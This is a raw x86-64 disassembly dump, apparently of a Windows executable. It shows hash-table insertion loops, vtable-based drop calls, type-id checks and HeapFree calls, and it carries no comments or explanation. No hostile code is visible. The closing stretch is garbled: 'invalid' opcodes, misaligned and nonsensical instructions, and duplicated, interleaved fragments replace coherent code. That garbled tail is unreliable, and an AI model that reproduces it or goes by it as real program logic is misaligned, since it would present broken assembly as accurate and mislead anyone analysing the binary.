mov qword [rcx + 8], rax
movaps xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rcx - 7], xmm0
movdqa xmm0, xmmword [rsp + 0xe0]
movdqa xmm1, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x4c0], xmm1
movdqa xmmword [rsp + 0x4b0], xmm0
cmp rdx, 0x7fff
ja 0x1400853aa
mov r10, rdx
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x1b0], xmm0
mov qword [rsp + 0x1a0], rax
mov byte [rsp + 0x1a8], cl
mov dword [rsp + 0x1a9], edx
mov word [rsp + 0x1ad], r8w
mov byte [rsp + 0x1af], r9b
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x7d0], xmm0
movaps xmmword [rsp + 0x7e0], xmm1
cmp r10, qword [rsp + 0x288]
mov r9, r10
jne 0x140080be6
lea rcx, [rsp + 0x288]
call fcn.14002ca60
mov r9, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x40], rax
mov rbx, qword [rsp + 0x2b8]
mov rbp, qword [rsp + 0x2c0]
and r15b, r12b
lea rax, [r9 + r9*2]
shl rax, 5
mov rcx, qword [rsp + 0x40]
mov qword [rcx + rax], 0
movaps xmm0, xmmword [rsp + 0x7d0]
movaps xmm1, xmmword [rsp + 0x7e0]
movups xmmword [rcx + rax + 0x18], xmm0
movups xmmword [rcx + rax + 0x28], xmm1
movdqa xmm0, xmmword [rsp + 0x1a0]
movdqa xmm1, xmmword [rsp + 0x1b0]
movdqu xmmword [rcx + rax + 0x38], xmm0
movdqu xmmword [rcx + rax + 0x48], xmm1
mov word [rcx + rax + 0x58], r11w
lea rax, [r9 + 1]
mov qword [rsp + 0x298], rax
xor eax, eax
nop word [rax + rax]
mov rcx, r14
mov r14d, 0
cmp rcx, rbp
jae 0x140080c50
movzx edx, word [rbx + rcx*4]
cmp dx, 0xffff
je 0x140080c8a
inc rax
movzx r8d, word [rbx + rcx*4 + 2]
mov word [rbx + rcx*4], r9w
mov word [rbx + rcx*4 + 2], r11w
inc rcx
mov r11d, r8d
mov r9d, edx
mov r14, rcx
jmp 0x140080c50
mov word [rbx + rcx*4], r9w
mov word [rbx + rcx*4 + 2], r11w
mov rcx, qword [rsp + 0x270]
test rcx, rcx
mov rdx, rcx
mov r8d, 1
cmove rdx, r8
cmp rax, 0x7f
cmova rcx, rdx
test r15b, r15b
cmovne rcx, rdx
mov qword [rsp + 0x270], rcx
mov rbx, qword [rsp + 0x98]
mov r13, qword [rsp + 0x330]
mov rbp, qword [rsp + 0x328]
mov r15, qword [rsp + 0x2f8]
mov r14, qword [rsp + 0x640]
movdqu xmm0, xmmword [rsp + 0x350]
movdqu xmm1, xmmword [rsp + 0x360]
movdqa xmmword [rsp + 0x150], xmm1
movdqa xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x4b0], r13
mov qword [rsp + 0x4b8], r14
mov qword [rsp + 0x4c0], rbp
mov qword [rsp + 0x4c8], r15
mov byte [rsp + 0x4d0], 0
mov eax, dword [rsp + 0x609]
mov ecx, dword [rsp + 0x60c]
lea rdx, [rsp + 0x4c8]
mov dword [rdx + 0xc], ecx
mov dword [rdx + 9], eax
lea rsi, [rsp + 0x3a0]
mov rcx, rsi
call fcn.140038d80
test al, al
jne 0x1400850d2
add rbx, 0x20
mov qword [rsp + 0x98], rbx
mov rcx, rsi
lea rdx, [rsp + 0x140]
call fcn.1400385d0
mov r9d, eax
movzx esi, word [rsp + 0x3f8]
mov r15d, r9d
and r15d, esi
mov r13, qword [rsp + 0x3f0]
mov r12, qword [rsp + 0x3e8]
mov r10, qword [rsp + 0x3c0]
mov rdx, qword [rsp + 0x3c8]
mov r11, qword [rsp + 0x140]
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x370], rax
movzx eax, byte [rsp + 0x148]
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x40], rax
xor r14d, r14d
mov dword [rsp + 0xa8], r9d
mov qword [rsp + 0xb8], rdx
mov qword [rsp + 0x130], r10
mov qword [rsp + 0xb0], r11
jmp 0x140080e36
movzx ecx, byte [rsp + 0x138]
cmp byte [rax + 8], cl
je 0x140080f03
nop word cs:[rax + rax]
inc r14
inc r15
mov rax, r15
nop dword [rax]
mov r15, rax
mov eax, 0
cmp r15, r13
jae 0x140080e40
movzx ebx, word [r12 + r15*4]
cmp rbx, 0xffff
je 0x140080ff6
movzx eax, word [r12 + r15*4 + 2]
mov ecx, esi
and ecx, eax
mov r8d, r15d
sub r8d, ecx
and r8d, esi
cmp r8, r14
jb 0x140081175
cmp ax, r9w
jne 0x140080e30
cmp rdx, rbx
jbe 0x140084ccf
test r11, r11
sete al
imul rbp, rbx, 0x68
mov rcx, qword [r10 + rbp + 0x40]
test rcx, rcx
setne r8b
cmp r8b, al
je 0x140080e30
lea rax, [r10 + rbp]
add rax, 0x40
test rcx, rcx
je 0x140080e12
mov rcx, qword [rsp + 0x40]
cmp qword [rax + 0x10], rcx
jne 0x140080e30
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x370]
mov r8, qword [rsp + 0x40]
call fcn.1401068d0
mov r11, qword [rsp + 0xb0]
mov r10, qword [rsp + 0x130]
mov rdx, qword [rsp + 0xb8]
mov r9d, dword [rsp + 0xa8]
test eax, eax
jne 0x140080e30
lea rsi, [r10 + rbp]
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x7f0], rax
movups xmm0, xmmword [rsp + 0x4b0]
movups xmm1, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0x7e0], xmm1
movaps xmmword [rsp + 0x7d0], xmm0
cmp qword [r10 + rbp], 0
je 0x14008138d
mov r14, qword [rsi + 0x10]
mov r15, qword [rsp + 0x3e0]
cmp r15, qword [rsp + 0x3d0]
lea r12, [rsp + 0x7d0]
jne 0x140080f6d
lea rcx, [rsp + 0x3d0]
call fcn.14001f100
mov rax, qword [rsp + 0x3d8]
lea rcx, [r15 + r15*8]
mov qword [rax + rcx*8], 1
mov qword [rax + rcx*8 + 8], r14
mov qword [rax + rcx*8 + 0x10], 0
mov qword [rax + rcx*8 + 0x18], rbx
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movdqu xmmword [rax + rcx*8 + 0x20], xmm0
movdqu xmmword [rax + rcx*8 + 0x30], xmm1
mov rdx, qword [rsp + 0x7f0]
mov qword [rax + rcx*8 + 0x40], rdx
lea rdx, [r15 + 1]
mov qword [rsp + 0x3e0], rdx
cmp r14, rdx
jae 0x140084d11
lea rcx, [r14 + r14*8]
mov qword [rax + rcx*8 + 0x10], 1
mov qword [rax + rcx*8 + 0x18], r15
mov qword [rsi], 1
mov qword [rsi + 0x10], r15
jmp 0x140081421
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x1c0], rax
movdqu xmm0, xmmword [rsp + 0x4b0]
movdqu xmm1, xmmword [rsp + 0x4c0]
movdqa xmmword [rsp + 0x1b0], xmm1
movdqa xmmword [rsp + 0x1a0], xmm0
cmp rdx, 0x7fff
ja 0x14008514b
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rsp + 0x4b0]
movups xmm1, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0x7d0], xmm0
movaps xmmword [rsp + 0x7e0], xmm1
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x7f0], rax
cmp rdx, qword [rsp + 0x3b8]
lea r12, [rsp + 0x7d0]
mov rbx, qword [rsp + 0x98]
jne 0x1400810eb
lea rcx, [rsp + 0x3b8]
call fcn.14004fa70
mov rdx, qword [rsp + 0xb8]
mov r9d, dword [rsp + 0xa8]
mov r10, qword [rsp + 0x3c0]
mov r13, qword [rsp + 0x3f0]
imul rax, rdx, 0x68
mov qword [r10 + rax], 0
movaps xmm0, xmmword [rsp + 0x7d0]
movaps xmm1, xmmword [rsp + 0x7e0]
movups xmmword [r10 + rax + 0x18], xmm0
movups xmmword [r10 + rax + 0x28], xmm1
mov rcx, qword [rsp + 0x7f0]
mov qword [r10 + rax + 0x38], rcx
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmm1, xmmword [rsp + 0x80]
movdqu xmmword [r10 + rax + 0x40], xmm0
movdqu xmmword [r10 + rax + 0x50], xmm1
mov word [r10 + rax + 0x60], r9w
lea rax, [rdx + 1]
mov qword [rsp + 0x3c8], rax
cmp r15, r13
jae 0x140084ced
mov rax, qword [rsp + 0x3e8]
mov word [rax + r15*4], dx
mov word [rax + r15*4 + 2], r9w
mov r15, qword [rsp + 0x30]
jmp 0x14008137a
cmp r14, 0x200
setae bl
cmp qword [rsp + 0x3a0], 2
setne sil
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x1c0], rax
movdqu xmm0, xmmword [rsp + 0x4b0]
movdqu xmm1, xmmword [rsp + 0x4c0]
movdqa xmmword [rsp + 0x1b0], xmm1
movdqa xmmword [rsp + 0x1a0], xmm0
cmp rdx, 0x7fff
ja 0x14008514b
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rsp + 0x4b0]
movups xmm1, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0x7d0], xmm0
movaps xmmword [rsp + 0x7e0], xmm1
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x7f0], rax
cmp rdx, qword [rsp + 0x3b8]
jne 0x140081279
lea rcx, [rsp + 0x3b8]
call fcn.14004fa70
mov rdx, qword [rsp + 0xb8]
mov r9d, dword [rsp + 0xa8]
mov r10, qword [rsp + 0x3c0]
mov r12, qword [rsp + 0x3e8]
mov r13, qword [rsp + 0x3f0]
and bl, sil
imul rax, rdx, 0x68
mov qword [r10 + rax], 0
movaps xmm0, xmmword [rsp + 0x7d0]
movaps xmm1, xmmword [rsp + 0x7e0]
movups xmmword [r10 + rax + 0x18], xmm0
movups xmmword [r10 + rax + 0x28], xmm1
mov rcx, qword [rsp + 0x7f0]
mov qword [r10 + rax + 0x38], rcx
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmm1, xmmword [rsp + 0x80]
movdqu xmmword [r10 + rax + 0x40], xmm0
movdqu xmmword [r10 + rax + 0x50], xmm1
mov word [r10 + rax + 0x60], r9w
lea rax, [rdx + 1]
mov qword [rsp + 0x3c8], rax
xor eax, eax
nop word cs:[rax + rax]
mov rcx, r15
mov r15d, 0
cmp rcx, r13
jae 0x1400812f0
movzx r10d, word [r12 + rcx*4]
cmp r10w, 0xffff
je 0x14008132c
inc rax
movzx r8d, word [r12 + rcx*4 + 2]
mov word [r12 + rcx*4], dx
mov word [r12 + rcx*4 + 2], r9w
inc rcx
mov r9d, r8d
mov edx, r10d
mov r15, rcx
jmp 0x1400812f0
mov word [r12 + rcx*4], dx
mov word [r12 + rcx*4 + 2], r9w
mov rcx, qword [rsp + 0x3a0]
test rcx, rcx
mov rdx, rcx
mov r8d, 1
cmove rdx, r8
cmp rax, 0x7f
cmova rcx, rdx
test bl, bl
cmovne rcx, rdx
mov qword [rsp + 0x3a0], rcx
lea r12, [rsp + 0x7d0]
mov r15, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x98]
cmp rbx, qword [rsp + 0x660]
jne 0x14007f71c
jmp 0x14008155b
mov r14, qword [rsp + 0x3e0]
cmp r14, qword [rsp + 0x3d0]
lea r12, [rsp + 0x7d0]
jne 0x1400813b4
lea rcx, [rsp + 0x3d0]
call fcn.14001f100
mov rax, qword [rsp + 0x3d8]
lea rcx, [r14 + r14*8]
mov qword [rax + rcx*8], 0
mov qword [rax + rcx*8 + 8], rbx
mov qword [rax + rcx*8 + 0x10], 0
mov qword [rax + rcx*8 + 0x18], rbx
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movdqu xmmword [rax + rcx*8 + 0x20], xmm0
movdqu xmmword [rax + rcx*8 + 0x30], xmm1
mov rdx, qword [rsp + 0x7f0]
mov qword [rax + rcx*8 + 0x40], rdx
lea rax, [r14 + 1]
mov qword [rsp + 0x3e0], rax
mov qword [rsi], 1
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r14
mov r15, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x98]
mov rax, qword [rsp + 0x140]
test rax, rax
je 0x14008137a
mov rdx, qword [rsp + 0x148]
mov r8, qword [rsp + 0x150]
lea rcx, [rsp + 0x158]
call qword [rax + 0x10]
jmp 0x14008137a
mov rsi, qword [rsp + 0x2b0]
cmp rsi, qword [rsp + 0x2a0]
mov r13, qword [rsp + 0x330]
mov rbp, qword [rsp + 0x328]
jne 0x14008148e
lea rcx, [rsp + 0x2a0]
call fcn.14003b180
mov rax, qword [rsp + 0x2a8]
mov rcx, rsi
shl rcx, 6
mov qword [rax + rcx], 0
mov qword [rax + rcx + 8], r15
mov qword [rax + rcx + 0x10], 0
mov qword [rax + rcx + 0x18], r15
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movdqu xmmword [rax + rcx + 0x20], xmm0
movdqu xmmword [rax + rcx + 0x30], xmm1
lea rax, [rsi + 1]
mov qword [rsp + 0x2b0], rax
mov qword [r14], 1
mov qword [r14 + 8], rsi
mov qword [r14 + 0x10], rsi
mov rbx, qword [rsp + 0x98]
jmp 0x140080cdc
movdqu xmm0, xmmword [rsp + rax + 0x7d0]
movdqa xmm1, xmm0
paddq xmm1, xmm10
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq rdx, xmm1
movabs r8, 0x8080808080808080
test rdx, r8
jne 0x140081543
add rax, 0x10
cmp rax, rcx
jbe 0x140081500
jmp 0x140081543
inc rax
cmp r14, rax
je 0x14007f8a6
cmp byte [rsp + rax + 0x7d0], 0
jne 0x140081540
jmp 0x14008222f
mov r13, qword [rsp + 0x270]
cmp r13, 3
jne 0x1400815d7
cmp qword [rsp + 0x378], 0
je 0x1400818b8
movdqu xmm0, xmmword [rsp + 0x378]
movdqu xmm1, xmmword [rsp + 0x388]
movdqa xmmword [rsp + 0x6f0], xmm1
movdqa xmmword [rsp + 0x6e0], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400851d4
mov r14, rax
movups xmm0, xmmword [0x14014bb70]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [0x14014bb60]
movdqu xmmword [rax], xmm0
jmp 0x14008191f
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400851d4
mov r14, rax
movups xmm0, xmmword [0x14014bb70]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x14014bb60]
movups xmmword [rax], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x60
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400853ed
movups xmm0, xmmword [rsp + 0x2c0]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [rsp + 0x2b0]
movups xmmword [rax + 0x40], xmm0
movdqu xmm0, xmmword [rsp + 0x270]
movdqu xmm1, xmmword [rsp + 0x280]
movups xmm2, xmmword [rsp + 0x290]
movups xmm3, xmmword [rsp + 0x2a0]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
lea rcx, fcn.14003ad60
mov qword [rsp + 0x20], rcx
mov rcx, r14
movabs rdx, 0x21f81dc503085378
movabs r8, 0xbdf1d7764b15b03
mov r9, rax
call fcn.14003abc0
test rax, rax
je 0x1400818ec
mov rbx, rax
mov r15, rdx
mov rcx, rax
call qword [rdx + 0x18]
movabs rcx, 0x21f81dc503085378
cmp rax, rcx
jne 0x1400818c2
movabs rax, 0xbdf1d7764b15b03
cmp rdx, rax
jne 0x1400818c2
movups xmm0, xmmword [rbx + 0x50]
movaps xmmword [rsp + 0x820], xmm0
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x810], xmm0
movdqu xmm0, xmmword [rbx]
movdqu xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x800], xmm3
movaps xmmword [rsp + 0x7f0], xmm2
movdqa xmmword [rsp + 0x7e0], xmm1
movdqa xmmword [rsp + 0x7d0], xmm0
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x7d0], 3
je 0x1400818ec
mov rcx, r12
call fcn.14003ad60
jmp 0x1400818ec
mov bl, 1
xor r14d, r14d
jmp 0x140081a40
mov rcx, rbx
call qword [r15]
cmp qword [r15 + 8], 0
je 0x1400818ec
cmp qword [r15 + 0x10], 0x11
jb 0x1400818da
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x378], 0
je 0x140081a39
movdqu xmm0, xmmword [rsp + 0x378]
movdqu xmm1, xmmword [rsp + 0x388]
movdqa xmmword [rsp + 0x6f0], xmm1
movdqa xmmword [rsp + 0x6e0], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400851d4
movdqa xmm0, xmmword [rsp + 0x6e0]
movdqa xmm1, xmmword [rsp + 0x6f0]
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
lea rcx, [0x14012a8a8]
mov qword [rsp + 0x20], rcx
mov rcx, r14
movabs rdx, 0x693f00def4718a2b
movabs r8, 0x67e7b891fef620d7
mov r9, rax
call fcn.14003abc0
test rax, rax
je 0x140081a35
mov rbx, rax
mov r15, rdx
mov rcx, rax
call qword [rdx + 0x18]
movabs rcx, 0x693f00def4718a2b
cmp rax, rcx
jne 0x140081a0b
movabs rax, 0x67e7b891fef620d7
cmp rdx, rax
jne 0x140081a0b
movdqu xmm0, xmmword [rbx]
movdqu xmm1, xmmword [rbx + 0x10]
movdqa xmmword [rsp + 0x7e0], xmm1
movdqa xmmword [rsp + 0x7d0], xmm0
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x7d0]
test rax, rax
je 0x140081a35
mov rdx, qword [rsp + 0x7d8]
mov r8, qword [rsp + 0x7e0]
lea rcx, [rsp + 0x7e8]
call qword [rax + 0x10]
jmp 0x140081a35
mov rcx, rbx
call qword [r15]
cmp qword [r15 + 8], 0
je 0x140081a35
cmp qword [r15 + 0x10], 0x11
jb 0x140081a23
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
xor ebx, ebx
jmp 0x140081a3b
mov bl, 1
mov r15, qword [rsp + 0x30]
movups xmm0, xmmword [rsp + 0x3f0]
movaps xmmword [rsp + 0x820], xmm0
movups xmm0, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0x810], xmm0
movdqu xmm0, xmmword [rsp + 0x3a0]
movdqu xmm1, xmmword [rsp + 0x3b0]
movups xmm2, xmmword [rsp + 0x3c0]
movups xmm3, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0x800], xmm3
movaps xmmword [rsp + 0x7f0], xmm2
movdqa xmmword [rsp + 0x7e0], xmm1
movdqa xmmword [rsp + 0x7d0], xmm0
mov rax, qword [rsp + 0x340]
mov byte [rsp + 0x83a], al
mov rcx, qword [rsp + 0x338]
mov word [rsp + 0x838], cx
mov qword [rsp + 0x830], r14
mov rax, qword [rsp + 0x5e0]
movzx eax, byte [rax]
movzx ecx, cx
cmp ecx, 0x64
jg 0x140081aea
lea r14, [rsp + 0x1450]
je 0x140081b28
jmp 0x140081b13
cmp ecx, 0x65
lea r14, [rsp + 0x1450]
je 0x140082377
cmp ecx, 0xcc
je 0x140082381
cmp ecx, 0x130
je 0x140082381
mov rcx, qword [rsp + 0x338]
add ecx, 0xffffff9a
cmp cx, 0x61
ja 0x140082352
mov rbp, qword [rdi + 0x160]
test rbp, rbp
je 0x1400822f0
mov rcx, r12
call fcn.140052130
mov rcx, qword [rsp + 0x830]
call fcn.1400031e0
cmp r13d, 3
jne 0x140081b6d
mov rax, qword [rsp + 0x270]
cmp eax, 3
je 0x140081b6d
lea rcx, [rsp + 0x270]
call fcn.14003ad60
mov rax, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
lea rcx, [rsp + 0x198]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x378]
test rax, rax
setne cl
test bl, cl
mov r13, qword [rsp + 0x58]
je 0x14007f096
mov rdx, qword [rsp + 0x380]
mov r8, qword [rsp + 0x388]
lea rcx, [rsp + 0x390]
call qword [rax + 0x10]
jmp 0x14007f096
mov esi, 3
mov rbp, qword [rsp + 0x60]
jmp 0x1400820fa
lea r12, [rsp + 0x7d0]
mov rdx, qword [rsp + 0x300]
cmp rdx, 2
je 0x1400820f0
mov rcx, qword [rsp + 0x308]
mov rax, qword [rsp + 0x310]
test rdx, rdx
je 0x14008206f
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x318]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x300]
cmp r8, 2
je 0x1400820f0
mov rdx, qword [rsp + 0x318]
mov rcx, qword [rsp + 0x308]
mov rax, qword [rsp + 0x310]
test r8, r8
je 0x1400820e2
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x308]
lock dec qword [rax]
jne 0x1400820f0
mov rcx, qword [rsp + 0x308]
mov rdx, qword [rsp + 0x310]
call fcn.140005050
jmp 0x1400820f0
call qword [rax + 0x80]
nop dword [rax + rax]
cmp rsi, 4
je 0x140082bb4
mov rax, qword [rsp + 0x620]
mov qword [rsp + 0x770], rax
movaps xmm0, xmmword [rsp + 0x610]
movaps xmmword [rsp + 0x760], xmm0
movaps xmm0, xmmword [rsp + 0x6d0]
movaps xmmword [rsp + 0x7b0], xmm0
movdqa xmm0, xmmword [rsp + 0x480]
movdqa xmm1, xmmword [rsp + 0x490]
movdqa xmmword [rsp + 0x100], xmm0
movdqa xmmword [rsp + 0x110], xmm1
movzx eax, word [rsp + 0x4a0]
mov word [rsp + 0x120], ax
mov eax, dword [rsp + 0xd8]
mov dword [rsp + 0x178], eax
movzx eax, byte [rsp + 0xdc]
mov byte [rsp + 0x17c], al
cmp rsi, 3
jne 0x14008295c
xor eax, eax
cmp byte [rdi + 0x128], 0
sete al
mov rcx, qword [rdi + 0x160]
cmp rcx, qword [rdi + rax*8 + 0x130]
jae 0x140082a62
mov rcx, qword [rsp + 0xc0]
mov rdx, r13
call fcn.140090890
test rax, rax
jne 0x1400828f5
test rdx, rdx
jne 0x14007f020
jmp 0x140082aaa
mov r8, qword [rsp + 0x88]
test r8b, 1
jne 0x14008220a
lock dec qword [r8 + 0x20]
jne 0x14008222f
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x140082220
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov rsi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rsi
jmp 0x140082220
shr r8, 5
neg r8
cmp qword [rsp + 0x80], r8
je 0x14008222f
add r8, qword [rsp + 0x70]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov esi, 4
mov al, 0xb
mov dword [rsp + 0x2c], eax
xor ebp, ebp
xor eax, eax
xor ebx, ebx
mov r15, qword [rsp + 0x30]
lea r14, [rsp + 0x1450]
test al, al
mov r13, qword [rsp + 0x58]
jne 0x140082270
mov rax, qword [rsp + 0x270]
cmp eax, 3
je 0x140082270
lea rcx, [rsp + 0x270]
call fcn.14003ad60
test bpl, bpl
jne 0x140082282
lea rcx, [rsp + 0x3a0]
call fcn.140052130
mov rax, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
lea rcx, [rsp + 0x198]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x378]
test rax, rax
sete cl
or bl, cl
mov rbp, qword [rsp + 0x60]
jne 0x140082036
mov rdx, qword [rsp + 0x380]
mov r8, qword [rsp + 0x388]
lea rcx, [rsp + 0x390]
call qword [rax + 0x10]
jmp 0x140082036
mov esi, 3
mov rcx, r12
call fcn.140052130
mov rcx, qword [rsp + 0x830]
call fcn.1400031e0
mov edx, dword [rsp + 0x2c]
jmp 0x14008255e
cmp eax, 5
je 0x140082381
cmp eax, 7
jne 0x1400825a8
mov rax, qword [rsp + 0x338]
add eax, 0xffffff38
cmp ax, 0x64
jae 0x1400825a8
mov al, 1
mov dword [rsp + 0x4c], eax
xor edx, edx
jmp 0x14008238b
xor edx, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x5c8], rdx
test byte [rsp + 0xa4], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
jne 0x140082481
mov rsi, qword [rsp + 0x7d0]
movzx edx, byte [rsp + 0x7d8]
xchg esp, eax
and al, 0xd8
invalid
add byte [rax], al
movzx eax, byte [rsp + 0x7df]
shl eax, 0x10
movzx ecx, word [rsp + 0x7dd]
and al, 0xdd
invalid
add byte [rax], al
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x7d9]
or rax, rcx
mov qword [rsp + 0x5c0], rax
lea rcx, [rsp + 0x808]
mov rax, qword [rcx - 0x18]
mov qword [rsp + 0x620], rax
movups xmm0, xmmword [rcx - 0x28]
movaps xmmword [rsp + 0x610], xmm0
mov rax, qword [rsp + 0x7f8]
mov qword [rsp + 0x5b8], rax
movups xmm0, xmmword [rcx - 8]
movaps xmmword [rsp + 0x6d0], xmm0
mov rax, qword [rsp + 0x810]
invalid
xchg esp, eax
and al, 0xd8
invalid
and al, 0xdd
invalid
invalid
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add eax, 0xb70f0000
add byte [rdi], cl
mov bh, 0x41
xor byte [rsi - 0x77], ah
mov qword [rsp + 0x5b0], rax
movzx eax, word [rcx + 0x30]
mov word [rsp + 0x4a0], ax
add byte [rdi], cl
mov bh, 0x41
xor byte [rsi - 0x77], ah
test byte [rax + riz*4], ah
add al, 0
add bl, dh
movdqu xmm0, xmmword [rcx + 0x10]
movdqu xmm0, xmmword [rcx + 0x10]
adc r11b, sil
movq mm1, qword [rcx + 0x20]
outsd dx, dword [rsi]
invalid
invalid
movdqu xmm1, xmmword [rcx + 0x20]
outsd dx, dword [rsi]
and byte [r14 + 0xf], spl
jg 0x1400823ce
movdqa xmmword [rsp + 0x490], xmm1
movdqa xmmword [rsp + 0x480], xmm0
movq qword [rsp + 0x480], mm0
and al, 0x90
add al, 0
add byte [rsi + 0xf], ah
invalid
jg 0x1400823cf
movq qword [rsp + 0x480], mm0
add byte [rdi], cl
mov dh, 0x84
and al, 0x3a
or byte [rax], al
add byte [rax - 0x74c1dbbc], cl
xor ecx, dword [r9 + 0xd82484]
add byte [rax], al
movzx eax, byte [rsp + 0x83a]
mov byte [rsp + 0x3e], al
mov eax, dword [rcx + 0x33]
mov dword [rsp + 0xd8], eax
movzx eax, byte [rcx + 0x37]
mov byte [rsp + 0xdc], al
mov dword [rsp + 0xd4], 0
jmp 0x14008255e
add byte [rax], al
add byte [rax], al
mov eax, dword [rsp + 0x4c]
xor al, 1
mov dword [rsp + 0xd4], eax
mov rsi, qword [rsp + 0x7d0]
movzx edx, byte [rsp + 0x7d8]
movzx eax, byte [rsp + 0x7df]
mov dh, 0x84
and al, 0xdf
invalid
add byte [rax], al
shl eax, 0x10
adc byte [rdi], cl
mov bh, 0x8c
and al, 0xdd
invalid
add byte [rax], al
mov dh, 0x84
and al, 0xdf
invalid
adc byte [rdi], cl
mov bh, 0x8c
and al, 0xdd
invalid
add byte [rax], al
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x7d9]
or rax, rcx
enter 0xffffffffffff8948, 0xffffffffffffff84
and al, 0xc0
invalid
add byte [rax], al
enter 0xffffffffffff8948, 0xffffffffffffff84
and al, 0xc0
add eax, 0x8d480000
add byte [rax], al
lea rcx, [rsp + 0x808]
mov rax, qword [rcx - 0x18]
mov qword [rsp + 0x620], rax
add byte [rax], al
lea rcx, [rsp + 0x808]
add byte [rax], al
mov rax, qword [rcx - 0x18]
mov qword [rsp + 0x620], rax
